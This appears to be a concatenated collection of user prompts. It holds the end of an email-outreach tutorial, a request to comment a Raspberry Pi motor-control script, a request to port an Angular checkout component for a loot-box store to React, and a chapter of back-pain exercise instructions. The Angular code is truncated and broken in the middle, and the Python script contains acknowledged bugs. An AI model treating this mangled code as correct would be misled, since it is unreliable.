have them set up as many domains and emails as you need.\nThe End. Feedback & Suggestions\n\nThat’s it. Thanks for watching and now it’s time to start executing.\n\nAlways happy to hear from you guys what you think we can improve to make this system & instantly even better/cheaper/quicker.\n\nPS: If you liked this tutorial feel free to share it with your friends.\n\nDon’t forget to smash the like button.\n\nSee ya." +'can you add comments to this python script? "import zmq\nimport threading\nimport time\nimport json\nimport random\nimport RPi.GPIO as GPIO\nimport board\nimport busio\nimport adafruit\\_ads1x15.ads1115 as ADS\nfrom adafruit\\_ads1x15.analog\\_in import AnalogIn\n### motor function for acceleration is defined below\ndef motor\\_accel(min\\_duty, max\\_duty, duty\\_cycle, accel\\_segments, duration, PWM):\n count = 0\n pwm\\_start\\_value = min\\_duty\n accel\\_incriment = (duty\\_cycle - pwm\\_start\\_value)/accel\\_segments\n duration\\_incriment = duration/accel\\_segments\n PWM.start(pwm\\_start\\_value)\n print(\'starting pwm at \', pwm\\_start\\_value)\n while count < accel\\_segments:\n pwm\\_start\\_value = pwm\\_start\\_value + accel\\_incriment\n PWM.ChangeDutyCycle(pwm\\_start\\_value)\n print(pwm\\_start\\_value)\n time.sleep(duration\\_incriment)\n count = count+1\n time.sleep(duration)\n #PWM.stop()\n count = 0\n print(\'leaving accel at \', pwm\\_start\\_value)\ndef motor\\_cont(duty\\_cycle, duration, PWM):\n #PWM.start(duty\\_cycle)\n time.sleep(duration)\n #PWM.stop()\n \ndef motor\\_decel(min\\_duty, max\\_duty, duty\\_cycle, decel\\_segments, duration, PWM):\n \n count = 0\n pwm\\_start\\_value = duty\\_cycle\n decel\\_incriment = (duty\\_cycle - min\\_duty)/decel\\_segments\n duration\\_incriment = duration/decel\\_segments\n #PWM.start(pwm\\_start\\_value)\n print(\'continuing pwm at \', pwm\\_start\\_value)\n while count < decel\\_segments:\n pwm\\_start\\_value = pwm\\_start\\_value - decel\\_incriment\n PWM.ChangeDutyCycle(pwm\\_start\\_value)\n print(pwm\\_start\\_value)\n time.sleep(duration\\_incriment)\n count = count+1\n time.sleep(duration)\n #PWM.stop()\n count = 0 \n\n### this is the fuction run by each thread spawned from the physical\\_output\\_list (a seperate list of threads manages the physical inputs)\ndef motor\\_worker(motor\\_name, ports\\_dic, context):\n ### define a path to the local configuration file for this individual motor ###\n path = "/home/pi/Desktop/motor\\_control/"\n name = motor\\_name + ".txt"\n file\\_location = path + name\n ### open the file and read lines into the the \'lines\' obj from the configuration file\n with open(file\\_location, "r") as file:\n # Read the contents of the file line by line\n lines = file.readlines()\n #### ?????????\n args = []\n ### removes elements in \'lines\' that begin with the # character\n for line in lines:\n if line.startswith("#"):\n lines.remove(line)\n line = line.strip()\n #### defines variables for the motor\\_accel function and sets value from config file\n accel\\_duration = float((lines[0]))\n accel\\_segments = int((lines[1]))\n ### defines the tested safe duty cycle operating range for the motor and sets value from config file\n max\\_duty = int((lines[2]))\n min\\_duty = int((lines[3]))\n #### defines variables for the motor\\_deccel function and sets value from config file\n decel\\_duration = float((lines[4]))\n decel\\_segments = int((lines[5]))\n ### defines variabls for the motor continue function and sets value from config file\n cont\\_duration = float((lines[6]))\n cont\\_duty\\_cycle = int((lines[7]))\n \n \n ###these variables define the safe limits for the sensor values\n sensor\\_center = float((lines[8]))\n sensor\\_min = float((lines[9]))\n sensor\\_max = float((lines[10]))\n \n #### these variables define the pins to be used by the motor in its operation\n PWM\\_pin = int((lines[11]))\n IN1 = int((lines[12]))\n IN2 = int((lines[13]))\n Standby = int((lines[14]))\n \n ### this variable is used to skip the position sensor portions of the worker fucntion for motors that do not have a position sensor\n has\\_sensor = int((lines[15]))\n ### if this value is 0, the motor will operate in \'reverse\' if value is 1 motor will operate \'forward\'\n ### this variable changes as a result the message contained in zmq messages called by\n direction = 0\n ### this is a variable that defines the target value to be used by the motor\\_target function that follows decell\\_function\n target\\_value = sensor\\_center\n \n ### for motors that have position sensors the sensor name is always the motor name plus the word position\n if has\\_sensor == 1:\n sensor\\_name = motor\\_name + \'position\'\n sensor\\_port = str(ports[sensor\\_name])\n zmq\\_port = str(ports[motor\\_name])\n \n ### sets the appropriate gpio pins ont he raspberry pi as outputs\n GPIO.setup(IN1, GPIO.OUT)\n GPIO.setup(IN2, GPIO.OUT)\n GPIO.setup(PWM\\_pin, GPIO.OUT)\n GPIO.setup(Standby, GPIO.OUT)\n GPIO.output(Standby, GPIO.HIGH)\n PWM = GPIO.PWM(PWM\\_pin, 100)\n print("I\'m the ", motor\\_name, " worker thread and my port number will be = ", zmq\\_port)\n if has\\_sensor == 1:\n print(\'my sensor is at port number \', sensor\\_port) \n \n ### binds a socket to recieve messages from the main thread containing motor conrol instructions sent from zmq\\_to\\_thread in the main thread\n receiver\\_control = context.socket(zmq.PULL)\n socket\\_string\\_control = "tcp://\\*:" + zmq\\_port\n receiver\\_control.bind(socket\\_string\\_control)\n \n ### binds a socket to receive messages containing sensor data\n receiver\\_measurement = context.socket(zmq.PULL)\n if has\\_sensor == 1:\n socket\\_string\\_measurement = "tcp://\\*:" + sensor\\_port\n receiver\\_measurement.bind(socket\\_string\\_measurement)\n while True:\n print(\'motor worker about to recv\')\n #messages not making it through. Its looks like messages are being sent but there seems to be no message available when the recv call is made. Suspect the issue is in the \n #try:\n \n ## this hangs and waits for a zmq message from the main thread containing parameters for motor control executions\n message = receiver\\_control.recv().decode()\n \n print(message)\n ## this captures the comma seperated parameters of the zmq message and stores them in appropriate variables\n motor\\_args = message.split(\',\')\n ## this duty cycle is the peek duty cycle the pwm channel should reach at the end of the acceleration period and is used as the constant duty cycle throughout the continue function\n dutycycle = int(motor\\_args[0])\n duration = float(motor\\_args[1])\n target = float(motor\\_args[2])\n direction = int(motor\\_args[3])\n ##this count variable controls the accel and decel fucntions while statement\n count = 0\n \n if direction == 0:\n GPIO.output(IN1, GPIO.HIGH)\n GPIO.output(IN2, GPIO.LOW)\n if direction == 1:\n GPIO.output(IN1, GPIO.LOW)\n GPIO.output(IN2, GPIO.HIGH)\n \n #### motor acceleration fuction is called below\n motor\\_accel(min\\_duty, max\\_duty, dutycycle, accel\\_segments, accel\\_duration, PWM)\n \n ### motor continue function is called here\n motor\\_cont(dutycycle, duration, PWM)\n \n ### motor decel fucntion is called here\n motor\\_decel(min\\_duty, max\\_duty, dutycycle, decel\\_segments, decel\\_duration, PWM)\n PWM.stop()\n GPIO.output(IN1, GPIO.LOW)\n GPIO.output(IN2, GPIO.LOW)\n ### motor target function is called here\n #motor\\_target()\n \n print()\n print(motor\\_name, dutycycle)\n print(motor\\_name, duration)\n print(motor\\_name, target, "target")\n if has\\_sensor == 1:\n measurement = receiver\\_measurement.recv()\n print(motor\\_name, measurement, "current")\n print()\n sleep\\_duration = random.uniform(.03,.3)\n time.sleep(sleep\\_duration)\n\n###this is the function used to send zmq instructions to individual output threads\ndef zmq\\_to\\_thread(name, message, ports, context):\n zmq\\_port = ports[name]\n \n socket = context.socket(zmq.PUSH)\n #socket.setsockopt(zmq.LINGER, 0)\n socket\\_string = "tcp://localhost:" + str(zmq\\_port)\n #print(socket\\_string)\n socket.connect(socket\\_string)\n socket.send\\_string(message)\n socket.close()\n print("Sent message to ", name, \'via port\', zmq\\_port)\n \n \ndef zmq\\_from\\_physical\\_inputs(name, message, ports, context):\n zmq\\_port = ports[name]\n socket = context.socket(zmq.PUSH)\n socket.setsockopt(zmq.LINGER, 0)\n socket\\_string = "tcp://localhost:" + str(zmq\\_port)\n #print(socket\\_string)\n socket.connect(socket\\_string)\n socket.send\\_string(message)\n socket.close()\n #print("Sent message to ", name)\n \n\ndef physical\\_input\\_worker(motor\\_name, ports, context):\n \n \n #########\n ###########\n ############### this is where we left off. movement zmq message is getting the worker but the worker cant get measurement currently. Change the physical input\\_worker fuction as follows\n ### for each name in motor name set up an input using the information in the configuration file for that motor.\n \n ### iterate over motors in the motor list loading their config files and creating a dictionary of i2c devices and addresses to create and initialize defining channels in each\n ### once setup, the worker should move into a while loop that updates measurements for each sensor and then sends a zmq message on the sensors port from ports dic\n ### consider that this ZMQ message should be sent with a queue value of 0 this may require splitting the current context object into two context objects with differnt queue values\n ### another worker thread needs to be created that listens receives all sensor values via these same zmq ports every .25-1.0 sec and inserts all the values in a batch insert to the database\n \n \n \n \n ### this section sets up the first ADC\n i2c = busio.I2C(board.SCL, board.SDA)\n ads = ADS.ADS1115(i2c)\n \n \n \n chan0 = AnalogIn(ads, ADS.P0)###this is the photoresistor\n chan2 = AnalogIn(ads, ADS.P2)##### this is the poteniometer circuit for the left right neck\n chan3 = AnalogIn(ads, ADS.P3)###this is the ponteniometer circuit for up and down neck\n \n channel\\_dic = {\'neckupdownposition\':chan3, \'neckleftrightposition\':chan2, \'photocell\\_one\':chan0}\n \n #channel\\_list = []\n #channel\\_string\\_list = []\n #neckupdownposition = neckupdownposition = AnalogIn(ads, ADS.P3)###this is the ponteniometer circuit for up and down neck\n #channel\\_list.append(neckupdownposition)\n #channel\\_string\\_list.append("neckupdownposition")\n #channel\\_string\\_list.append("neckupdownposition")\n #photocell\\_one = AnalogIn(ads, ADS.P0)###this is the photoresistor\n #channel\\_list.append(photocell\\_one)\n #channel\\_string\\_list.append("photocell\\_one")\n \n while True:\n for i in adc1\\_sensor\\_list:\n measurement = round(channel\\_dic[i].voltage, 3)\n zmq\\_from\\_physical\\_inputs(i, str(measurement), ports, context)\n \n \n \n \n \n #for i, n in zip(channel\\_list, channel\\_string\\_list):\n #measurement = round(i.voltage, 3)\n #zmq\\_from\\_physical\\_inputs(n, str(measurement), ports, context)\n #### NEED TO REDUCE ZMQ BUFFER TO 1 IN THIS CASE ####\n ##### WORKERS SHOULD BE IN NON BLOCKING MODE (I THINK...) ####\n### sets the gpio mode to BCM numbering scheme\nGPIO.setmode(GPIO.BCM)\n\n###\nmotor\\_list = ["neckupdown", "neckleftright", "leftwheel", "rightwheel"]\n#motor\\_list = ["neckleftright"]\nadc1\\_sensor\\_list = [\'neckupdownposition\', \'neckleftrightposition\', \'photocell\\_one\']\n\n#adc2\\_sensor\\_list = [\'leftwheelposition\', \'rightwheelposition\']\n\nport\\_keys = motor\\_list + adc1\\_sensor\\_list\n### \'neckupdownposition\', \'neckleftrightposition\', \'photocell\\_one\']###\nmotor\\_list\\_starting\\_port\\_number = 59000\nports = {k: motor\\_list\\_starting\\_port\\_number+i for i, k in enumerate(port\\_keys)}\n#ports = {"neckupdown":57000, "neckleftrightright":57001, "neckupdownposition":57002, "neckleftrightrightposition":57003, "photocell\\_one":57004}\nposition\\_sensors\\_dict = {"neckupdown":"neckupdownposition", "neckupdown":"neckupdownposition", "neckleftright":"neckleftrightposition", "neckleftright":"neckleftrightposition"}\nthreads = []\ncontext = zmq.Context()\n###Threads are started and named by iterating over this list\nphysical\\_input\\_list = ["neckupdownposition", "neckupdownposition"]\n#neckupdown = "neckupdown"\n#motor\\_worker(neckupdown)\n### this iterates over a list of motors/direction combos and starts a thread for each unique motor/direction combo\nfor i in motor\\_list:\n t = threading.Thread(target=motor\\_worker, args=(i, ports, context,))\n t.start()\n threads.append(t)\n \n### this starts a single thread running the physical\\_input fuction defined above\nt = threading.Thread(target=physical\\_input\\_worker, args = ("physical\\_inputs\\_thread", ports, context,))\nt.start()\nthreads.append(t)\ntime.sleep(2)\ntest\\_message = "50,.3,2.95"\ncount = 0\nwhile True:\n \n user\\_target = float(input("enter a value between 2.52 and 3.02"))\n user\\_duty\\_cycle = int(input("input a value between 35 and 100"))\n user\\_motor = input(\'type a name from the motor name list\')\n user\\_duration = float(input(\'time a duration in seconds between .1 and .3\'))\n user\\_direction = int(input(\'input the direction. 0 for forward or 1 for backward\'))\n #test\\_message[0] = user\\_duty\\_cycle\n #test\\_message[1] = user\\_duration\n #test\\_message[2] = user\\_target\n test\\_message = str(user\\_duty\\_cycle) + \',\' + str(user\\_duration) + \',\' + str(user\\_target) + \',\' + str(user\\_direction)\n #ran = random.randint(0,3)\n\n zmq\\_to\\_thread(user\\_motor, test\\_message, ports, context)\n time.sleep(1)\n #time.sleep(random.randint(1,5))\n #sleep\\_duration = random.randint(2,5)\n #time.sleep(sleep\\_duration)\n #zmq\\_to\\_motor(i, test\\_message, ports, context)\n \n #time.sleep(.3)\nprint("this is the line right before my 4sec sleep") \ntime.sleep(4)\nprint("this is the line right After my 4sec sleep")\nfor t in threads:\n print("about to call a join")\n t.join()\n print(\'joined a worker\')\nprint(\'all done. should exit after this\')\n\n#### note to self. This ran very stragely. It seemd to be sending and receiving lots of messages pretty quickly but then slowed down. Even stranger, near the slowdown, it also reported that it was\n#### about to call a join. So it seems as thought the main thread exited its while loop but the workers were continuing to report messages"' +'The angular component is a checkout page for our e-commerce store where users can choose between 7 payment processors: zen, g2a, credit, coinbase, giftcards, payop, paytriot.\nConvert the Angular component into React completely. If you are missing any logic, use something smiliar or best practises. Your output should not require any adjustments by me. Use examples if you are missing context to write the full code\n\nimport { ChangeDetectionStrategy, ChangeDetectorRef, Component, OnDestroy, OnInit } from ‘@angular/core’;\nimport { MatDialog } from ‘@angular/material/dialog’;\n\nimport { Observable, of, Subject } from ‘rxjs’;\nimport { debounceTime, map, skip, switchMap, takeUntil } from ‘rxjs/operators’;\nimport { DepositService } from ‘../../services/deposit.service’;\n\nimport { Title } from ‘@angular/platform-browser’;\nimport { CasesService } from ‘src/app/cases/services/cases.service’;\nimport { ActivatedRoute, Router } from ‘@angular/router’;\nimport { MatCheckboxChange } from ‘@angular/material/checkbox’;\nimport { AppConfigService } from ‘src/app/core/services/app-config.service’;\nimport { patch, RxState } from ‘@rx-angular/state’;\nimport { GlobalLootieState } from ‘../../../rxstate/global-lootie.state’;\nimport { LanguageRouter } from ‘../../../core/services/language-router’;\nimport { SegmentProxy } from ‘../../../lazy-bootstrap/proxies/segment.proxy’;\nimport { LocalizedToastrService } from ‘../../../core/services/localized-toastr.service’;\nimport { defined } from ‘../../../core/utils/defined’;\n\nexport enum PaymentMethods {\nzen = ‘zen’,\ng2a = ‘g2a’,\ncredit = ‘credit’,\ncoinbase = ‘coinbase’,\ngiftcards = ‘giftcards’,\npayop = ‘payop’,\npaytriot = ‘paytriot’,\n}\n\nconst DEFAULT\\_DEPOSIT\\_AMOUNT = 100;\n\ninterface DepositState {\nloading: boolean;\ncheckoutUrl: string;\ncheckoutOptions: any;\nsuccess: boolean;\nfailed: string;\n}\n\n@Component({\nselector: ‘app-deposit’,\ntemplateUrl: ‘./deposit.component.html’,\nstyleUrls: [‘./deposit.component.scss’],\nchangeDetection: ChangeDetectionStrategy.OnPush,\n})\n\nexport class DepositComponent extends RxState();\n//// HANDLERS\nproceedDepositHandler$ = this.proceedDeposit$.pipe(\nswitchMap(({ type, data, coupon }) => {\nconst isCreditCharge = type === ‘credit’;\n// const paymentOption = isCreditCharge ? ‘card’ : undefined;\nconst box = localStorage.getItem(‘boxId’);\nconst d = localStorage.getItem(‘session’);\n\nreturn this.depositService[isCreditCharge ? ‘credit’ : type]({ data, coupon, box, d }).pipe(\nmap(res => {\nif (type === ‘steam’) {\nthis.localizedToastr.successMessage(‘We are processing your requests, please wait...’);\n} else if (res[‘data’] && res[‘data’].checkoutUrl) {\nthis.set({ checkoutUrl: res[‘data’].checkoutUrl });\n} else if (res[‘data’] && res[‘data’].checkoutOptions) {\nthis.set({ checkoutOptions: res[‘data’].checkoutOptions });\n}\n\nlocalStorage.removeItem(‘boxId’);\nlocalStorage.removeItem(‘boxName’);\n\nif (res[‘data’] && res[‘data’].balance && res[‘data’].deposited) {\nconst { balance, deposited } = res[‘data’];\n\nconst user = this.globalState.get(‘user’);\n\nthis.globalState.set({\nuser: patch(user, {\nbalance: defined(balance, user.balance),\ndepositedValue: defined(deposited, user.depositedValue),\n}),\n});\n\nif (res[‘message’]) {\nthis.localizedToastr.successMessage(res[‘message’]);\n}\n}\n}),\nthis.localizedToastr.toastHttpError()\n);\n})\n);\n\nisMobile$: Observable {\nif (params && params[‘mode’]) {\nconst mode = params[‘mode’];\nfor (const key in PaymentMethods) {\nif (mode === PaymentMethods[key]) {\nthis.selectedMethod = params[‘mode’];\nthis.startPayment(true);\n}\n}\n} else {\nthis.selectedMethod = PaymentMethods.credit;\nthis.paymentOption = ‘’;\nthis.depositTitle = ‘DEPOSIT.CHOOSE\\_PAYMENT\\_METHOD’;\n}\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.titleService.setTitle(‘Deposit | Lootie’);\n\nconst promocode = localStorage.getItem(‘promocode’);\nif (promocode) {\nthis.promocode = promocode;\nlocalStorage.removeItem(‘promocode’);\n}\n\nthis.\\_debounceCode.pipe(debounceTime(500)).subscribe(\\_ => {\nif (this.promocode === ‘’) {\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\ntry {\nRegExp(this.promocode);\n} catch (error) {\nthis.promocodeStatus = ‘invalid’;\nthis.changeDetectorRef.markForCheck();\nreturn;\n}\n\nthis.isLoading$ = of(true);\nthis.depositService.validatePromocode(this.promocode).subscribe(\nres => {\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘valid’;\nthis.promocodeValue = res[‘data’].value;\n}\nthis.changeDetectorRef.markForCheck();\n},\n(res: Error) => {\nconst error = res[‘error’];\nthis.isLoading$ = of(false);\nif (this.promocode) {\nthis.promocodeStatus = ‘invalid’;\n}\nthis.changeDetectorRef.markForCheck();\n}\n);\n});\n\nthis.isStatusSuccess$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(isSuccess => {\nif (isSuccess) {\nthis.paymentOption = ‘success’;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.isStatusFail$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(failOption => {\nif (failOption) {\nthis.paymentOption = failOption;\n}\nthis.changeDetectorRef.markForCheck();\n// DepositDialogComponent.hide(this.dialog);\n});\n\nthis.checkoutUrl$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(url => {\n// if (!url) {\n// return DepositDialogComponent.hide(this.dialog);\n// }\n// if (\n// this.paymentOption === PaymentMethods.coinbase ||\n// this.paymentOption === PaymentMethods.payop\n// ) {\nwindow.open(url, ‘\\_self’);\n// } else {\n// DepositDialogComponent.show(this.dialog, url);\n// }\n});\n\nthis.checkoutOptions$.pipe(skip(1), takeUntil(this.unsubscribe$)).subscribe(options => {\nthis.proceedFormDeposit(options);\n});\n\nthis.isMobile$.pipe(takeUntil(this.unsubscribe$)).subscribe(data => {\nthis.isMobile = data;\nthis.changeDetectorRef.markForCheck();\n});\n\nthis.paymentMethods = this.paymentMethods.map(item => {\nconst newItem = { ...item };\nconst bonusPercent = this.appConfigService.config?.depositBonus[item.value];\n\nif (bonusPercent && bonusPercent > 0) {\nnewItem[‘bonus’] = `${Math.floor(bonusPercent \\* 100)}% BONUS`;\n}\n\nreturn newItem;\n});\n}\n\nngOnInit() {\nif (this.isMobile) {\nsetTimeout(() => {\nconst el = document.getElementById(‘deposit-page-container’);\n\nwindow.scrollTo(0, el.offsetTop - 65);\n}, 100);\n}\n}\n\nonValidatePromocode() {\nthis.\\_debounceCode.next();\n}\n\nsendTicket(): void {\nwindow.Intercom(‘showNewMessage’);\n}\n\nonChangeAmount(isPositive: boolean): void {\nconst currentIndex = this.amountList.indexOf(this.amount);\nif (isPositive) {\nthis.amount = this.amountList[currentIndex + 1] || this.amount;\nreturn;\n}\n\nthis.amount = this.amountList[currentIndex - 1] || this.amount;\n}\n\nstartPayment(isRouteCheck?: boolean): void {\nif (this.selectedMethod === PaymentMethods.giftcards) {\nthis.amountList = [10, 25, 50, 100, 200];\nthis.depositTitle = ‘DEPOSIT.SELECT\\_GIFTCARD’;\n} else {\nthis.amountList = [...this.initialAmountList];\n}\n\nif (this.selectedMethod !== PaymentMethods.giftcards) {\nthis.depositTitle = ‘DEPOSIT.SELECT\\_YOUR\\_AMOUNT’;\n}\n\nthis.paymentOption = this.selectedMethod;\n\nif (!isRouteCheck) {\nthis.languageRouter.navigate([‘/topup’], {\nqueryParams: { mode: this.selectedMethod },\n});\n}\n\nthis.segment.track(‘Payment Method Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentMethod: this.paymentOption,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nclearPromocode(): void {\nthis.promocode = ‘’;\nthis.promocodeStatus = ‘’;\nthis.promocodeValue = 0;\n}\n\nopenFAQ(value: boolean): void {\nthis.isPaymentFAQ = value;\n}\n\nonCurrencyInput(evt: Event) {\nconst value = (evt.target as HTMLInputElement).value;\nconst num = parseInt(value.replace(/[$,]/g, ‘’), 10);\n\n// [demidn] A bit workaround way for preventing users from typing letters.\n// We can not just always set this.amount = isNaN(num) ? 0 : num, because first time amount will be changed to 0\n// and change detection will work, howevever if user continue typing letters, we are changing amount from 0 to 0\n// same value and change detection will not run. So here we first set it to null and detect changes and then set to real\n// value and mark for check - in this case change detection will work always.\nthis.amount = null;\nthis.changeDetectorRef.detectChanges();\nthis.amount = isNaN(num) ? 0 : num;\nthis.changeDetectorRef.markForCheck();\n}\n\nproceedDeposit(): void {\nif (this.amount < 1 || this.promocodeStatus === ‘invalid’) {\nreturn;\n}\nif (this.isCreditCardPayment() && !this.isTOSAgreed) {\nreturn;\n}\n\n// this.store.dispatch(\n// new fromDeposit.ProceedDeposit({\n// type: this.paymentOption,\n// data: this.amount,\n// coupon: this.promocode,\n// })\n// );\nthis.proceedDeposit$.next({\ntype: this.paymentOption,\ndata: this.amount,\ncoupon: this.promocode,\n});\n\nthis.segment.track(‘Payment Amount Chosen’, {\n// eslint-disable-next-line @typescript-eslint/naming-convention\nPaymentAmount: this.amount,\n// eslint-disable-next-line @typescript-eslint/naming-convention\nAddFundsButtonClicked: this.casesService.addFundsButtonClicked,\n});\n}\n\nonOpenGiftCard() {\nwindow.open(this.giftcardLinks[this.amount], ‘targetWindow’, ‘width=500, height=800’);\n// window.open(\n// https://shoppy.gg/@Lootie,\n// ‘targetWindow’,\n// ‘width=500, height=800’\n// );\n}\n\nonChangeAgreeToTOS(ob: MatCheckboxChange) {\nthis.isTOSAgreed = ob.checked ? true : false;\n}\n\nisCreditCardPayment() {\nreturn this.selectedMethod === PaymentMethods.credit || this.selectedMethod === PaymentMethods.zen;\n}\n\nfilterLogos(logos, hideFullCreditLogs) {\nif (hideFullCreditLogs) return logos.slice(0, 2);\nreturn logos;\n}\n\nngOnDestroy() {\nthis.unsubscribe$.next();\nthis.unsubscribe$.complete();\n}\n\nproceedFormDeposit(options) {\nconst { method, url, form: params } = options;\nconst form = document.createElement(‘form’);\nform.setAttribute(‘method’, method);\nform.setAttribute(‘action’, url);\n\nfor (const key in params) {\nif (params.hasOwnProperty(key)) {\nconst hiddenField = document.createElement(‘input’);\nhiddenField.setAttribute(‘type’, ‘hidden’);\nhiddenField.setAttribute(‘name’, key);\nhiddenField.setAttribute(‘value’, params[key]);\n\nform.appendChild(hiddenField);\n}\n}\n\ndocument.body.appendChild(form);\nform.submit();\nform.remove();\n}\n}' +'CHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is a way to bend forward without stressing (i.e., bending) the spine. Done right, the axis of movement is in the hips, not the low back. Your low back should be in a protected neutral position with the core engaged. As you bend forward, your low back doesn’t round or move. Let’s look at a picture of hip-hinging and a picture of lumbar flexion (low back bending); one is good, the other is bad. This is simple stuff, but it is very hard to get over your ancient, bad habits. Hard but essential. \n\nHip-Hinge with Neutral Spine\nHere are a couple of pictures showing you the right way to hinge (on the left) and the wrong way (on the right). Notice the very slightly curved lower back in the hip-hinge picture on the left: no movement. Excellent! The pic on the right has quite a lot of spine movement; don’t do that. When you first try this movement, it may feel awkward, and you may assume that you cannot reach as far forward with good posture. Not so. You’ll soon realize that you can move just as far forward, using only your hips, as you did before, using your back. You don’t lose anything and you avoid a ton of pain. Over time you will gain mobility. The reason is that moving with your lower back eventually causes pain and stiffness in your back. But moving from your hips will not have that result. Let’s practice doing it right. \nRight Wrong\n\nStep 1: Stand with feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. \nStep 3: Bend your knees slightly. \nStep 4: Feel the two bones sticking out of the sides of your hips. These are called your greater trochanters. Picture a pole going through these two points, passing right through your pelvis. This is your imaginary axis of movement.\nStep 5: Now place one hand on your stomach and the other on your back. On your back, put your fingers on those little bones sticking out (spinous processes). You are putting your hands here to feel for any unwanted movement when you hip-hinge. \nStep 6: Without moving anything in the core (you shouldn’t feel those little bones in your back moving), slowly bend forward on that imaginary axis of movement through the hip bones while sticking your buttocks out behind you a little bit. If you feel your stomach or back move, stop, reset, and try again.\n\nStep 7: Go only as far forward as you can without moving your back. For many of you, your hamstrings (back of legs) are going to be a limiting factor in your range of motion in the beginning. Don’t worry if you can’t go too far. Your hamstrings will loosen up in time if you follow all of the advice in this book. \nStep 8: Slowly return to the starting position without moving your back or stomach. \nStep 9: This should not hurt your low back. If it does, reset your stance, find neutral spine, brace your core. Not hurting? Now try it again with a very small range of motion. Stay within the range of motion that doesn’t hurt. Slowly increase your range of motion over time—it will come. \nAdding Rotation\nNow let’s get a little more complex. Let’s add rotation to the bend. Hip-hinging correctly allows you to move forward and backward without pain. Now let’s learn to move side to side. We are talking rotation. Again, think about moving from the hips. It’s easiest to visualize proper rotation if you think about your waist. We don’t want any movement at the waist. Try to picture your rib cage being locked on to your pelvis. That’s what you want. Pretend that there are no joints between your ribs and pelvis, for this one. \nFull-Body Rotation\nThe chest, navel, and hips all move together. This means there is no (or very little) movement in the spine. The body rotates by moving the hips, knees, and pelvis. If the hips and pelvis stay facing forward while the rib cage moves, the movement comes from the waist, and therefore the lumbar spine. This type of movement can wear down the discs and joints in the spine over time, especially when additional load is applied (like unloading the dishwasher for instance). Just like hip-hinging, rotation done properly doesn’t cause you to lose mobility and will improve athletic performance. Let’s give it a try. Once again, the new movement is not that hard. But you are trying to unlearn a lifetime of moving with your spine. That is hard. \n\nStep 1: Stand with your feet shoulder-width apart.\nStep 2: Set your posture: Find neutral spine, brace the core, shoulders back, stand as tall as you can without pain and without breaking neutral spine. 